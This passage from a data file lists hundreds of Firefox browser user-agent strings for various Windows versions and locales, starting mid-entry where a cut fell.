rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2 -Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0 -Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/23.0 -Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 -Mozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0 -Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 -Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 -Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:21.0.0) Gecko/20121011 Firefox/21.0.0 -Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0 -Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20120910144328 Firefox/15.0.2 -Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 -Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0 -Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 -Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 -Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Win98; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Win 9x 4.90; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 4.0; en-US; rv:1.8.0.2) Gecko/20060418 Firefox/1.5.0.2; -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070509 Firefox/2.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 -Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 -Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1) Gecko/20060111 Firefox/0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.2.20) Gecko/20110803 Firefox -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.19) Gecko/20081201 Firefox/2.0.0.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.0.04506.30) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 GTB7.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.16) Gecko/20110319 AskTbUTR/3.11.3.15590 Firefox/3.6.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.13) Gecko/20100914 Firefox/3.6.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10pre) Gecko/20070211 Firefox/1.5.0.10pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060309 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060406 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060419 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.9.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080715 Firefox/2.0.0.8pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 Firefox/1.1.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070118 Firefox/2.0.0.2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050729 Firefox/1.0+ -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20120427 Firefox/15.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.20) Gecko/20110803 AskTbFWV5/3.13.0.17701 Firefox/3.6.20 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/5.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051220 Firefox/1.6a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060121 Firefox/1.6a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060323 Firefox/1.6a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.1) Gecko/20110606 Firefox/4.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20060321 Firefox/2.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.6) Gecko/20040206 Firefox/0.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040707 Firefox/0.9.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040803 Firefox/0.9.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.30) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.3C -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 